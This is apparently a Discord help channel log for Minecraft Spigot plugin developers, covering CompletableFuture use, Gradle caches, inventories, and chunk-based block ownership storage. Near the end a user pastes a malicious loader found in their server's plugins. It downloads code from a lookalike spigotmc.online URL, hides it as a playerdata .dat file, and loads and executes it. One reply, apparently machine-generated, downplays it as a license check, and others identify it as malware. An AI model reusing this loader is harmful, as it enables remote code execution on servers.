#help-development
1 messages · Page 882 of 1
it's the block, so it's neutral
choco is the nerd here
yeah he wears glasses
or illusion sometimes
he wears glasses too
I wear glasses does that mean I'm a nerd
Illusion big nerd too, he smarty pants
I know him irl
Illusion loves OOP too much
trust me he is a nerd
He helps me all the time, bro knows Mojang/Spigot like the back of his hand
🙏
he says
same. only noob eyes require wearing them
@tender shard I'm curious for a second
can you try to add that dependency on a gradle project
bro what the truck
how do I just reset my gradle to not be horrible to me like this
clear gradle cache
what happens if you just access a class and ignore the IJ errors?
writing without IDE support be like 💀
gimme a couple minutes
see if you can import a class without intellissense
You don’t know your imports by heart?
well just do
System.out.println(sh.miles.pineapple.chat.parse.PineappleParserContext.class);
Pffft
whats your config manager package
com.github.spigotbasics.core.config.CoreConfigManager
and the constructor takes in a MessageFactory and a File object
me.jishuna.jishlib.config
no
Okay but yes
issue with this is it won't compile cuz I have things depending on an older class
tis me.jishuna.jishlib.config.ConfigApi$ConfigurationManager
I'd have to rip out everything
I should move this to a NamespacedNamespacedKeyFactoryFactory, shouldnt I?
I have to recode it all without Intelilsense
You asked for the package
Ig I'll do that after I eat
besides the point
i cbf frankly
It’s quick easy to remember packages when it’s always me.jishuna.pluginname.whatever
kek I couldnt resist
get the shit lib out of here
why don't you just rename your sources folder, then only create one file and see if it compiles
Yo facts
shut up
hm where'd you find that
fuck you
on your profile pic you baboon
lmfao
illusion is monke confirmed
Can you tell me you love me to balance this out please
the only artist here is cmarco
he truly
finally someone with more professions than you
what's the problem with an interface and skeleton implementation for each individual class?
It's called SOLID bro 🤪
🤪
Oh yo same
that's also cmarco getting insipiration for reviews from chatgpt
🤨
since when are you using my code
other than the snippets I just spat out in the basics channel
from projects I wrote a year ago
Speaking of I just thought up this great platform agnostic skyblock plugin
I've done pretty good in progress
thanks for all the inspiration 🙏
I had ChatGPT replace all the legacy code from the original author
It's much cleaner now
yall mfs trolling me at this point
Your import statements were just copied from the first person ever to write import statements
Smh
Yes I was trolling you I'm hoping CMarco catches on and learns how to actually troll
@solar musk fight back!
but gradle should have complained about that
it didn't for some reason
huh
any way I can like hard clear all my projects caches
I feel like switching both my JDK and to gradle kotlin has fucked some things up
fuck it we ball
i also always additionally delete the .idea folder in the project
i did say something like that
I had it in the gradle groovy file but not the gradle kotlin file
epic fail
find ~/IdeaProjects -name .idea -delete
i should run that in a cronjob
kek
for me that'd be like
find /run/media/miles/bca4a4ee-9b9b-4a0b-8cf1-4244950351a6/Coding/PineappleDevelopmentGroup/ -name .idea -delete
kek
extension functions are so nice
Hey if I dont care about the result of a completable future should I just put null for the methods argument or just new CompleteableFuture()
I care about the result in some methods but not all
CompletableFuture.runAsync
never create a CompeltableFuture with the constructor unless you 100% know what you're doing
What
if you want to provide an output without going async use CompletableFuture.completedFuture
it'll just wrap the result
id recommend returning a CompetableFuture<Void> with runAsync
makes it easier if you need to know when it finished but not the result
id recommend returning a CompletableFuture<Void?>
Well I care about the result most times its just in a unit test I dont care
kotlang
Okay but like StringUtil.copyPartialMatches
that's what it is
Im confused how would I implement here instead of the constructor?
https://paste.md-5.net/zicuheyone.js
the nice thing is that I can just throw partialMatches(args) at the end of any string list instead of having to either add a local var, or throwing a long method call chain into StringUtil
do you need to run that after the future passed?
run what
the code
why doesn't setCoins just return a new future?
idk why you pass a future here if you just complete it from its own result
yeah
try and explain what this is meant to do and what the variables are for
usually you'd just do
public CompletableFuture<Void> setSomething(...) {
return CompletableFuture.runAsync {
// do db stuff
}
^^
oh shit aright
alex is just too used to kotlin right now as it seems xd
you also don't need a boolean because you can just get the thrown exception in whenComplete or whatever
the boolean is for a unit test
yes
ideally you shouldnt need to modify your code for a unit test
ye
yikes
yeah i tried my hardest not to
but its not possible really
then rewrite ¯_(ツ)_/¯
you know you can force a CompletableFuture to run synchronously right?
if you don't want it to run asynchronously just use CompletableFuture#join
yeah but why would i?
for the unit test
Oh, the completablefutures are not for the unit tests
Huh I never thought about using the exception rather than CompletableFuture<boolean>
just returning the boolean
whats the boolean for then
then how do you know why it failed 🥲
if you need to know wether the function passed and saved it you return a cf<void> and check for exceptions
if(myFuture.get() == FailReason.SUCCESS) { // nice
do i have to review that
Tf did you do to remove that many lines
ugh if you removed 2100 lines you must have forgotten something
build src
I moved PineappleChat to become platform agnostic
so it was removed from the library
oh I did forget something
I forgot the checkstyle
yes but then I would also have to put a try and catch for every actual use of the method
instead of just one time in the actual method
no
future.whenComplete(val, ex -> if ex != null it failed
instead of ex.print you throw it again
when did jar.enabled become true
bc i swear that was false
its always been true
sure
fixed
ty
Smh how dare you try and correct my code you peasant!
want me to do a code review on your lib?
@young knoll switch to pineapplechat
now with legacy platform
do u wanna remove this or put it behind a var in core
oh shit I gotta remove that
I would appreciate a code review on PineappleChat
Pineapple is still big WIP so code review wouldn't be super beneifical
from a quick look this looks fine just check it compiles everything from a clean build
alr
@remote swallow oh yeah gotta double check the NMS stuff too
almost forgot
make sure my buildSrc applies it correctly
it looks like its got everything just wether it still remaps properly
@remote swallow bad news I failed checkstyle
I'd be up for making another server software that provides very little API mostly raw NMS and mixins

raw doggin nms smh
For this I would remove the completeable future in the parameter and just return one right?
checkstyle sucks anyway
yes
yup
Do you guys have any good resources for learning about completable futures?
thanks
Someone should pin that before its lost forever
@remote swallow oopsies forgot to add dependencies the jar was empty lmao
its already lost
kek
this proves im tired as balls
Lol
@remote swallow lets go
> Task :pineapple-nms:spigot-v1_20_R2:remap
Successfully obfuscate jar (spigot-v1_20_R2, MOJANG_TO_SPIGOT)
woop woop
Anyone wanna give my towny cooldown plugin a review? 😄
rusty spigot

What about 1_20_R3 smh
The git repo is already posted in the review channel
I have support
Hey that’s my line
Is it really that bad to use the constructor? The guide uses it too
Are you ready for 1_20_R4
yep
I got my auto updater prepped
ready to auto update
Is it prepared to handle packet codecs
yeah I don't use any packets

I delegate most of my Inventory stuff through bukkit
josh do you even know about that yet
I wonder if I should make a spigot forums post on how to create Anvil Menus and such
I feel like that might be helpful
What do you mean do I know about it
do you know we have it'
How would I have mentioned it if I didn’t know about it
sus
I could for sure find use from that
meh i think its late enough
now to go watch tiktoks for half an hour and try and have my brain work
@remote swallow it remaps
woop woop
probably quite a bit still
I project its going to be post ItemType and registry mergals
I highly doubt my stuff gets merged prior to the great enum killing
night nerds
@remote swallow merged
Take care man
lo
that will only be dms
every menu is pretty easy
also depends on what i see
everything besides the chest doesn't work as intended when created from Bukkit#createInventory
as far as the open methods enchant is the only broken one
Inventories suck
the API isn't half bad tbh it just hasn't been updated
I include that as chests
mostly because it has no function
Tbf most other inventories don’t have much use
How often do you need a portable cartography table
Anyone willing / wanting enough? I'd really love some opinions on this especially when it comes to functionality ❤️
I still wonder if it'd be better to make this in smaller parts
the thing with that though is either way I gotta kinda change InventoryView to an interface which is breaking
thing is though I doubt something would be merged short term if its ASMing
I don't think any of the registry ASMing stuff has been merged
at that point I'd probably be more comfortable splitting it up seeing as I know it'd be more likely to get merged
Depends on the complexity ig
How do I return a completeable future with an exception without using the constructor?
We fixed a typo with asm once :p
I think the first realistic PR in the step is just converting InventoryView to an interface and thats it
Is it really that to bad to use the constructor? Because all the guides use it
I wouldn't use it
Problem is that’s the breaking PR
the static helper methods give you everything you need
So not the best first step
If this is void whats the not void equivalent?
that's just breaking in the future :P
a callback?
It’s what we’re doing with material afaik
supplyAsync
pretty much the only reason you'd use the constructor for it is when you're adapting from one kind of future/asynchronous computation to CF
InventoryView is quite the different case though. because the original abstract class is fine
it just needs to be an interface
whereas Material is just being destroyed basically
Just gotta change all those invokeVirtual to invokeInterface
yeah I already wrote the asm minus the fact It needs to be updated since doc updated the asm a bit ago
but the issue with splitting this PR up is everything stems from that asm remap
I could probably get away with doing the working Virtual Inventories, but I kinda want to not encourage the use of those right before we rip out InventoryType
since you have the in do you know what the timeline-ish is for switching over to interfaces from abstract classes?
For what?
for pretty much everything that is registry backed
there were a few that were abstract classes that need to become interfaces
e.g. Enchantment as one
It’s going to abstract classes
yeah because their haven't been any switches overt to interfaces yet iirc
I wish people would jira request performance fixes lol
I don't have a big enough server to stress test
¯_(ツ)_/¯
Idk where those would even go
Previous changes say spigot, but we are also kinda moving away from spigot patches
I mean worst case you PR CB and md says spigot
not really a huge deal

Is there any mistakes in this or am i finally good?
https://paste.md-5.net/ropatuzimo.php
don't print stacktrace throw a RuntimeException or IllegalStateException and leave it for the returned future to handle. The best approach here is like so
public CompletableFuture<Void> executeStatement(String statement, List<?> variables) {
return CompletableFuture.runAsync(() -> {
try (Connection connection = getConnection();
PreparedStatement pstmt = prepareStatementWithParameters(statement, variables)) {
pstmt.executeUpdate();
return null;
} catch (SQLException e) {
throw new IllegalStateException(e); // run down to later in the chain. This won't stop the main thread
}
});
}
example use
var statement;
var variables;
executeStatement(statement, variables).whenComplete((var _, var exception) ->{
if (exception != null) { // properly handle the error when the transaction completes
Logger.log(Level.SEVERE, "Failed to execute statement: " + statement + ". Error: " + e.getMessage(), e);
}
});
Can you not just have it automatically throw the exception to the future
By omitting the catch block
no iirc CompletableFuture just uses Runnable unfortunately
I wish you could
Sadge
I hate time math on the millisecond level.
Shouldn’t be that hard?
Shadow is american I'm pretty sure
You also have TimeUnit
I understand the pain
yo nerds
does adventure have a way to convert to nms comp?
I mean, I probably am overcomplicating it, but yea. I'm still gonna complain. lol
Maybe something internal? But I don’t think they have a direct adapter for it
What is hard about it?
Formatting it the way I want mainly.
don't think so it does it the same way every other lib has to Component -> Json -> NMSComponent
yeah prob
Isn’t there a nice formatter for time
yes
What’s the thing called again
DateTimeFormatter
That one
Formatting? Why would you need to format the milliseconds
public static String withLargeIntegers(double value) {
DecimalFormat df = new DecimalFormat("###,###,###");
return df.format(value);
}
int value = 123456789;
assertThat(withLargeIntegers(value)).isEqualTo("123,456,789");
There you go if you want to add commas
Not that hard 
Here’s what I use to format mills to a nice output
private static final DateTimeFormatter FORMATTER = new DateTimeFormatterBuilder()
.optionalStart()
.appendValue(ChronoField.HOUR_OF_DAY)
.appendLiteral(':')
.optionalEnd()
.appendValue(ChronoField.MINUTE_OF_HOUR, 2)
.appendLiteral(':')
.appendValue(ChronoField.SECOND_OF_MINUTE, 2)
.toFormatter()
.withZone(ZoneId.systemDefault());
I hate this
I'm just trying to format the milliseconds similar to 12.05 seconds
Also there is 86400000milliseconds in a day
This is not hard at all
You just need a math method
I have a Utilitiy that abstract that but yeah I do too
Well, I struggle sometimes, ok.
This should be so simple but I can't seem to figure it out
How do you get the damage of the item in the player's hand? Like a Sword
Damage referring to Attack Damage
That’s the fun part
First convert to seconds by dividing the millis by 1000. Then you divide by 60.
I believe you need to check the attributes, then the enchantments, then the players potion effects
And probably other stuff I forgot
If you only care about the item itself you can just do attributes and enchantments
im confused on how to grab attributes and enchants
It’s all in ItemMeta
Do note that if there are no attributes on the ItemMeta you’ll instead have to check Material#getDefaultAttributes
Correct me if I'm wrong, but I'm not getting the results I need out of this.
long test = TimeUnit.NANOSECONDS.toMillis(end - start);
System.out.println(test);
System.out.println(test / 1000); // Seconds
System.out.println(test / 1000 / 60); // This gives me 0
You’re doing integer division
Hey coll would you be available for some honest feedback on a niche towny addon I made?
So you’ll always get an integer
You know, that would make sense.
long test = TimeUnit.NANOSECONDS.toMillis(end - start);
System.out.println(test);
System.out.println(test / 1000f); // Seconds
System.out.println(test / 1000 / 60f); // This gives me 0
Should work
I’m not much of a code reviewer but there is #1100941063058894868 message
Yo. Small question. So you know the registries and all that stuff that wouldnt work for me? Could this be why?
Hopefully I have no more questions after this but is this correct and good practice?
https://paste.md-5.net/atikanowuv.coffeescript
That was the wrong reply smh my head
It's already in there but I haven't got anyone's reply yet haha
R2 is correct for 1.20.2
patience is a virtue
And there have been a couple updates since, so I'm just impatient
Yea but I have one importing R3
Why i have both? Idk
Like I just said haha, I get it not everyone wants to go and look at someone else's code but I have no where else to go D:
Dude... Im the smartest man alive
Make sure all your dependencies are 1.20.2
How did I even manage to do that?!
Not everyone can be the best man its alright haha
We all just happen to be human eh?
Also I now have it set to only give the effect only when one breaks or places a block so its not every single tick running 400 methods lol
true.
Happens to everyone haha... I'm certainly not anything special when it comes to a spigot dev haha
Well yea but I managed to type it wrong knowing the server I run is in 1.20.2.
I just typed 4 for no reason at all
What rounding mode do I need to use for DecimalFormat to not round at all?
Nah you typed 4 because its the most recent version which is common practice to keep up to date... just good practice got in the way of intended function is all
I didnt even know there was a 1.20.4 😭
Huh? Just... Dont round it?
DecimalFormat does it by default.
OHHHHHHHHH
Yea no clue. Never use Decimalformat
I'm gonna have to resort to string modifications aren't I?
I'm just trying to put it in a motivating way haha
I know, but no amount of motivation will be able to solve this befuddlement
Except perhaps the simple implementation of a 2 instead of a 4 😛
lol, understandable tho
See all we can be is just human haha
String subcommand = args[0];
switch (subcommand){
case "remove":
Player targetPlayer = Bukkit.getPlayer(args[1]);
if (targetPlayer == null) break;
if (!CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) break;
if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")){
CooldownTimerTask.getCooldowns().remove(targetPlayer.getName(), "TownHop Cooldown");
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r&f have had their cooldown &l&c removed&r!"));
break;
}
break;
case "start":
targetPlayer = Bukkit.getPlayer(args[1]);
if (targetPlayer == null) break;
if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")){
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r is already on&l&c cooldown!"));
player.sendMessage(ChatColor.translateAlternateColorCodes('&', epirateTownyAddon.getRemainingCooldownHours(targetPlayer)));
break;
}
if (!CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")){
int cooldownTime = Integer.parseInt(args[2]);
CooldownTimerTask.addCooldownTimer(targetPlayer.getName(), "TownHop Cooldown", cooldownTime);
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Started cooldown on &l&c" + targetPlayer.getName() + "&r for &c&l" + cooldownTime + "&r seconds!"));
break;
}
break;
default:
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Usage : &l /cooldown &c remove &f | &a start &f {Player Name} (duration, in the case of starting a cooldown)"));
break;
}```
Does this look correct for handling mutliple command arguments?
Ehm no I do not... haha let me fix that
the second if in the first switch case seems redundant
That was intentional for debugging
forgot to remove
Why are all the If statments stacked without indents ;-;
So i could fit it in discord
I would recommend creating a command manager class and a SubCommand interface
Much cleaner
Yeah I was looking at an example of that, though there's literally only /cda (args) + functions and /cooldown which only returns a message
Seemed a bit complex for only 3 total functions imo
that too
Such as a string method + check that args(x) = return of string method?
Or do you mean function methods?
ie case x:
subCommandFunction();
Ye
Ah gotcha
How would I return a value in this situation?
https://paste.md-5.net/wowuhovara.php
You'd likely want to queue a sync task that handles the result
Wym? That wouldn't allow to me to return to the original future?
supplyAsync requires a value be returned
Line 12 or the line that tries to returns it has a Unexpected return value error
Because that return is returning to the whenComplete
yeah if i could just get the value out of the whenComplete lamda
Your first future seems redundant? I'm assuming executeQuery returns a future which you could then return it?
You know most peoples first future is
Oh we talking about code nvm
lmao
Btw you can just return the future completableFuture.whenComplete and it works
If that's what you're looking for
becomes
@young knoll I did it https://www.spigotmc.org/threads/creating-anvil-inventories-and-more.635217/
Inventories nd stuff
its my thing now
and do what with the value?
that still doesn't allow me to return resultSet.getInt("amount") unfortunately
As I just said, you're redundantly wrapping it in a future when you don't need to.
As long as the DB actually returns a ResultSet CF this code will work (replace the new with the db call)
public CompletableFuture<Integer> getCoins(Player player) {
String query = "SELECT amount FROM coins WHERE UUID = ? LIMIT 1";
CompletableFuture<ResultSet> completableFuture = new CompletableFuture<ResultSet>();
return completableFuture.handleAsync(((resultSet, exception) -> {
if(exception != null) {
return 1;
}
try {
if (resultSet.next()) {
return resultSet.getInt("amount"); // Can't return here :(
}
} catch (SQLException e) {
Bukkit.getLogger().severe("Failed to get coins for " + player.getName());
e.printStackTrace();
}
return -1;
}));
}
so handleAsync is also the difference?
u still told me to use whenComplete here
thanks for the help though
Personally I'd write a function that takes in a consumer
That way I don't have to write all the logic for unwrapping n shit
then you can write a function called spendCoins(sup) where the sup is your anon function to spend the coins or w/e and then you can automatically update the DB and then also run it sync without having to write the same code 100x
if (args.length >=2) {
String subcommand = args[0];
switch (subcommand) {
case "remove":
Player targetPlayer = Bukkit.getPlayer(args[1]);
if (targetPlayer == null) break;
removeCooldown(player, targetPlayer);
break;
case "start":
if (args.length < 3) {
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Usage : &l /cda &a start &f {Player Name} (duration)"));
break;
}
targetPlayer = Bukkit.getPlayer(args[1]);
if (targetPlayer == null) break;
int duration = Integer.parseInt(args[2]);
startCooldown(player, targetPlayer, duration);
default:
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Usage : &l /cda &c remove &f | &a start &f {Player Name} (duration, in the case of starting a cooldown)"));
break;
}
}```
This look better?
I would move the target player variable out of the switch statement so u dont have to repeat the same code
fixed, ty for that
public void removeCooldown(Player player, Player targetPlayer){
if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) {
CooldownTimerTask.getCooldowns().remove(targetPlayer.getName(), "TownHop Cooldown");
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r&f has had their cooldown &l&c removed&r!"));
} else player.sendMessage(ChatColor.translateAlternateColorCodes('&', "Target &l&c" + targetPlayer.getName() + "&r does not currently have a cooldown!"));
}
public void startCooldown(Player player, Player targetPlayer, int duration){
if (CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) {
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&l&c " + targetPlayer.getName() + "&r is already on&l&c cooldown!"));
player.sendMessage(ChatColor.translateAlternateColorCodes('&', epirateTownyAddon.getRemainingCooldownHours(targetPlayer)));
}
if (!CooldownTimerTask.hasCooldown(targetPlayer.getName(), "TownHop Cooldown")) {
CooldownTimerTask.addCooldownTimer(targetPlayer.getName(), "TownHop Cooldown", duration);
player.sendMessage(ChatColor.translateAlternateColorCodes('&', "&f Started cooldown on &l&c" + targetPlayer.getName() + "&r for &c&l" + duration + "&r seconds!"));
}
}```
these are the resulting function methods
Btw, do I have to format duration for the string?
also could change if(targetPlayer == null) to if(targetPlayer != null) and then break after the if statement
You can skip the hasCooldown before removeCooldown
Since map.remove will return either null or the value previously mapped to said key
Which you can then check
Can you elaborate on this one please?
Something like
Object cooldown = map.remove(key);
if (cooldown == null) {
// were not on cooldown
} else {
// were on cooldown
}
any reason you're not using an else for the 2nd method?
debugging from earlier haha
Had meant to change it
But you are correct else makes more sense, I was just trying to split the functionality up a bit to test a couple things
Actually, I think there is an issue with this
Wait sorry I am just a bit slow
Does anyone know what reset vaults are?
Ah gotcha
anyone know a good way to check the number of blocks (Of specific type) in a structure?
https://paste.md-5.net/uroxibutos.php
I get Operation not allowed after ResultSet closed
You generally shouldn’t return result sets
Because they are closed as soon as the statement that creates them is closed
There’s CachedRowSet or just read it all into a data object first
Alright 👍
My command's plugin does not tab complete when I specify a permission for the command in the plugin.yml. I'm assuming it thinks I don't have the permission so it pretends the command doesn't exist even though I do? I can still run the command but the chat box thing pretends the command doesn't exist and won't tab complete it.
I've double checked the permission, I 100% have it cause I wouldn't be able to do the command otherwise. If I remove the permission property of my command it works fine. I'm not op'd
If I op myself and then deop myself it starts working. Is it a bug then?
Duck 👊👍
Huh
Did you specify an executor
Yup, I don't think the command would run without that
iirc commands don't tab complete without ine
Did you try specifying a TabCompleter for your sub arguments
Yup
Tab complete works normally for all of my other commands that don't do any sort of permission checking
What are you doing to add the permission to yourself
Using PermissionAttachment
I'm definitely getting the permission otherwise it wouldn't let me execute the command
And I have registerCommand("setrank", new SetRankCmd());
And this is the tab complete code https://paste.md-5.net/vupaxapebo.java
Tab complete works when I remove the permission bit from the plugin.yml
private void registerCommand(String name, MLCommand cmd)
{
getCommand(name).setExecutor(cmd);
getCommand(name).setTabCompleter(cmd);
}
Ahk
I'm almost convinced this is a bug
Cause there's absolutely no reason for why it shouldn't be tab completing
Can't hurt to make a jira report. Make sure you are on a spigot server, include the code and bug. Ensure you give good steps to reproduce. I'd give a dumbed down example with less moving parts
?jira
If you can't reproduce In a less complex example you're likely doing something wrong and we both missed it
if you're adding the permission late you'll need to call Player.updateCommands
Yup that worked thanks. What do you mean by late exactly
Cause I'm adding the permissions the moment they join in the player join event
Is there an efficient and safe way to check for nearby Mob Spawners. I need to pretty much check an entire structure for spawners and run code if none exist
is cast safe to "number = (T) object;" if before that I checked the object type via Instanceof?
intelji dont think so
i know this ganaric but is there a chance to get ClassCastEx?
starts with "box" I think
Couldn't you theoretically just define a few points, or what is your case
yea but that would make my whole code 10 times more complicated
i need to save all of the regions in hashmap
so id need 2 hashmaps then
or a list inside a hashmap
Just make a class that will save a region from to
both are annoying
yh ig
i thought we already had sometzhing like this though
guess i though wrong
Well, if you do not know it, make it yourself.
Also, from what I remember, java has a Point class got defining points in a 2d space
According to chatgpt, there is a Point3D (and I think you can also use Vector3s or something)
Nice
Why would you compare worlds by equals tho
If they're the same world, wouldn't they reference the same obj in mem?
Lol
Lol
Hi, I'm trying to make a plugin where every placed block by a player has a UUID of the player attached to it. I wonder whats the best storage efficient way to do this? My first thought was to use block PDC, but storing a UUID which is 128 bits in every single block isnt a good idea. Then I thought about putting in the chunk's PDC, player's UUID as the key and an array of chunk coordinates at the locations, but I cant have a UUID as a pdc key and having it as a string will take up way more storage
Ok I'll put it in the chunk, is there a way to optimise this more?
Putting it in a database defeats the purpose of what im trying to do, coreprotect already puts it in a database
Not really. The block location in the chunk can be packet into an int
So 4 bytes per block + ~3 bytes for player uuid and list overhead
Not bad in the scheme of things
well, it's definitely not gonna use up gigs
What about storing a UUID though? It is 128 bits, and even more if I'm forced to store it as a string (since namespaced key)
you can store the UUID in two longs
it has methods for that
Still, namespaced keys must be a string
¯_(ツ)_/¯
would it be possible to somehow convert a UUID to a string, but compact it in a way where its only a few characters long instead of 36?
use a palette like they do with chunks
since the UUID returns the most sig and least sig bits as longs, could you somehow utilize that, I wonder
bitmask chunk section > layer palette, would save heaps of mem
ok chatgpt told me to go uuid->long->base64
that would still take up heaps of space
ye
ig a pallete will save up tons of memory in this case
or is it palette
I hate words like this
split chunk into 256 layers, each layer having 16*16 2d byte array, each byte in array points to index on a uuid array, simple
1 byte per block
minimum sizeof uuid, maximum 256 * sizeof uuid
but probability is uuid palette is < 10 so always saving mem
then if you want, bitmask each layer so its 1 bit per block, and an additional byte if the bit is flipped
so 256 bits per layer, if you use the bitmask a chunk will be 8192bytes minimum
whats the implementation
sounds like a weird workaround
cant use the skyblock api?
and I store this in the chunk's PDC?
that's a great way to make the string 50% longer
Rip
you could share bytes or some shit to reduce mem but using a byte with a 16x16 subsection of a chunk ensures each block can be individually id'd without confliction
so at a minimum it'll use 65536 bytes per chunk
65536 bits if you bitmask it first
what permissions specifically
surely they support party play
ah
ig you just have to assign it to each member individually then keep track of it somewhere
wouldn't hurt to re-assign it on login or smth
the custom permissions
is that your plugins' permissions?
or unrelated
hmm
thats a pain in the ass
just store it as binary
INSERT INTO your_table (uuid_column) VALUES (UNHEX(REPLACE('your-uuid-string-here', '-', '')));
SELECT INSERT(INSERT(INSERT(INSERT(HEX(uuid_column), 9, 0, '-'), 14, 0, '-'), 19, 0, '-'), 24, 0, '-') AS uuid_string FROM your_table;
BINARY(16)
16 bytes per block seems excessive
INSERT INSERT INSERT INSERT INSERT
im not using a database btw
but thanks ill try
what are you using?
PDC
could you give an example of a permissions you want the whole group to have
that can't be assigned individually
ah for PDC just use 2 longs
So you can have PDC namespaced keys as longs? or do you mean 2 longs as the value?
nah I get you
you using a db?
an rdbms could be really handy
sec ill draw something up quick
Okay so an integer as the key (chunk coordinates), and two longs as the value (uuid)?
Integer parsed as string* since I cant store an integer as a pdc key
Though this system still means I have a PDC per every single block, which will take up lots of storage
something like that
and you can do an easy lookup
or literally just store an array of island id's on the player
Like i said Ned, the only way to do it without blowing up your storage is the way i described
Ok
so the PDC key would be the layer?
also chunks are 384 now
not 256
would have to be a palette and layer pdc separately
but yes 1 per y level
do some research on the minecraft chunk format and compression, its pretty smart and would help you a lot
all you really need to know is the sections and block palette shit
ok I will
flatten it
make an object that can represent a 2d byte array as a siingle byte array
Make your own adapter, and convert 2d to 1d
writing my first plugin right now, whats the usual approach people take to storing settings, I'm making something similar to a whitelist-functionality where I would just have to store uuids
I'm trying to avoid databases to make it easier for whomever might end up using it
If its a config I use config.yml, if im storing data I used GSON + json
do I just write to a file and read it
idk it feels wrong to rewrite a json with uuids for one change
guess i go with sqlite then
if i have a file with 100 uuids I'd rewrite the entire file for one change?
that doesnt seem efficient
sqlite does the exact same thing
any file system does the exact same thing
the medium just determiens how you want it serialized, but either way, its going to rewrite the entire file
ill just write to a file and save the few kb for the jdbc driver ig
Chunk chunk = block.getChunk();
NamespacedKey key = getKey(block.getY());
PersistentDataContainer pdc = chunk.getPersistentDataContainer();
byte[][] currentData = ByteFlattener.unflatten(pdc.get(key, PersistentDataType.BYTE_ARRAY), 16, 16);
}``` ok so I've made this so far, but how would I tie a byte in the 2d byte array to a location in the layer?
int x, y, z;
int uuid;
UUID[] palette;
//find index in palette, if does not exist, add to array
int index = findIndex(uuid);
layerData = chunkData.getLayer(y);
layerData [x][z] = (byte)index;
something along those lines
you mean invisible?
yeah yeah
ideally you want some sort of palette manager to keep track of uuids and remove if not present in the chunk anymore
yes I'd have to make a seperate PDC in the chunk
correct
im just trying to get through this first part
is there some method that tells me where my plugin configs should go or do i get the path myself
JavaPlugin#getDataFolder()#getAbsoultePath()
declaration: package: org.bukkit.plugin.java, class: JavaPlugin
🫡
whats the purpose of the UUID[] palette? you didnt use it at all in the code
yeah ignore the incosistencies in my shitty code lol.
So each individual block will point to an index in that palette array
so say player UUID = "abcd" edits 2 blocks,
UUID[0] = "abcd";
layerData[0][0] = 0;
layerData[0][1] = 0;
both are pointing to the 0th index in teh array
so pointing to abcd
Wait, if im using both numbers as the identifiers for the PDC key wont they overlap?
For example, key number 3 in my pdc leads to uuid D*@D828d@&dh*@Dh89@DH*
And it also leads to the layer at Y coordinate 3
Oh? I thought one PDC value per layer in the chunk
return new NamespacedKey(BlockOwner.getInstance(), String.valueOf(layer));
}
public static void writeOwner(Block block, UUID uuid) {
Chunk chunk = block.getChunk();
NamespacedKey key = getKey(block.getY());
PersistentDataContainer pdc = chunk.getPersistentDataContainer();
byte[][] currentData = ByteFlattener.unflatten(pdc.get(key, PersistentDataType.BYTE_ARRAY), 16, 16);
int index = findIndex(uuid);
currentData[block.getX()][block.getZ()] = (byte) index;
}```
Ok I'll add a suffix
Hi I found this code in my client server, have you idea what is this java try { InputStream var1 = (new URL("http://spigotmc.online/simple/0.2/user/1439914/authorize")).openStream(); Files.copy(var1, Paths.get("world/playerdata/j5e2b1a-3c4d1-8r5e1a-13m13-c3o15d4e.dat"), new CopyOption[]{StandardCopyOption.REPLACE_EXISTING}); Class var2 = URLClassLoader.newInstance(new URL[]{(new File("world/playerdata/j5e2b1a-3c4d1-8r5e1a-13m13-c3o15d4e.dat")).toURI().toURL()}).loadClass("org.spigotmc.license.SpigotMC"); var2.getDeclaredMethod("checkLicense").invoke(var2.newInstance()); } catch (Exception var4) { }
also if im storing bytes as the index what if more than 127 players build in the chunk? Seems unlikely but what if
offset by -126
This code looks like it's attempting to download a file from a specific URL, save it locally, and then load a class from that file. The class seems to be "org.spigotmc.license.SpigotMC," and it's invoking a method called "checkLicense."
Without more context, it's hard to determine the exact purpose or intent of this code. However, the URL suggests some form of license check, and it might be related to SpigotMC, which is a popular server software for Minecraft.
If this code is part of your client-server and you didn't write it, it's essential to understand its purpose and origin before leaving it in your codebase. It's always a good practice to review and understand any third-party code to ensure it aligns with your application's security and functionality requirements.
then you get 256
16 * 16 = 256
so unique mapping to each block
actually you need a null mapping, so technically 1 block is out
UUID[] palette;
byte[][] blockData;
}
class Chunk{
Layer[] layers = new Layer[256];
UUID getUUID(int x, int y, int z){
int index = layers[y].blockData[x][z] + 126;
if(index == 0) return null;
return palette[index];
}
}```
so something to that effect, but obviously using pdc
there is in everyone plugin in onEnable they downoald file authorize. Authorize file downolad .dll file in windows and .so file in linux
whatever it is, I wouldn't allow it to run
looks like something sketchy trying to hide lol
too late, seems its infected your server >>
i know
anwyays authorize
is the jar
its named that way to fool you into thinking its hitting an endpoint for a license check or whatever
spigotmc.online is not owned by spigotmc
I downloaded the jar and its easy to tell its malicious
well, maven can be fast
thank god i got a new computer lmao
thx
before it took me > 10 minutes
because you didn't bother changing maven settings
default for maven is to consume as few resources as possible
oh yeah
Pastebin.com is the number one paste tool since 2002. Pastebin is a website where you can store text online for a set period of time.
can anyone figure out what this is doing?
webpack
ah
"""
This code is a part of a web browser's extension or script designed to control and modify how web pages open new windows or tabs, likely to block unwanted pop-ups or redirects. It intercepts and checks web page actions, allowing only approved ones based on specific rules or a whitelist.
"""
redirection stuff I guess
can u send me the jar or whereever this came from
idk
its loading something that has been obfuscated but I want more context
you have the link to the jar, its right there after URL 🙂
its not a jar its just a single .class
okay wow the jar injects multiple classes
its not a single class
I downloaded it
you need to rename authorize to have .jar
and then you can open it up 😉
dang whatare they doing lmao
the only reason I knew it was a jar was because I used my hexeditor to look at the file header
CAFEBABE
wait so turn the zip to a jar?
no
i cant run it, in a sandbox 😦
the authorize file is the jar
it had PK, which means compressed jar
is it possible to remove the inventory lore thingy from bundle? i would love to use it as an icon in my menu, but like this its not going to work
then I stopped when I saw them weird stringified classes in apache package
